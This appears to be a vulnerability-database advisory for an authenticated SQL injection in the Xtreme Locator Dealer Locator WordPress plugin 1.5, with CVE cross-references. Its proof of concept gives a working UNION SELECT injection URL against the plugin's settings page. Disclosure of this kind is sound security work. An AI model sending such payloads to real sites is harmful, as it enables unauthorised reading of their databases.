Lucene search
Lenon LeiteWPVDB-ID:227BA3C3-2509-484A-B358-4C3271EDA47BHistoryDec 14, 2016 - 12:00 a.m.
Xtreme Locator Dealer Locator Plugin 1.5 – Authenticated SQL Injection
2016-12-1400:00:00
Lenon Leite
wpscan.com
7
EPSS
0.001
Percentile
39.3%
Type user access: admins user. $_GET[‘id’] is not escaped. Is accessible for only admins user.
PoC
1 - logged with admin user; 2 - send resquest get; http://www.example.com/wp-admin/admin.php?page=xtreme-locator-settings&id;=0+UNION+ALL+SELECT+1%2Cslug%2Cname%2C4%2C5+FROM+wp_terms+WHERE+term_id%3D1
Related
wpexploit
wpexploit
Xtreme Locator Dealer Locator Plugin 1.5 – Authenticated SQL Injection
2016-12-14 00:00:00
cvelist
cvelist
CVE-2016-10939
2019-09-13 11:47:37
prion
prion
Sql injection
2019-09-13 12:15:00
nvd
nvd
CVE-2016-10939
2019-09-13 12:15:10
cve
cve
CVE-2016-10939
2019-09-13 12:15:10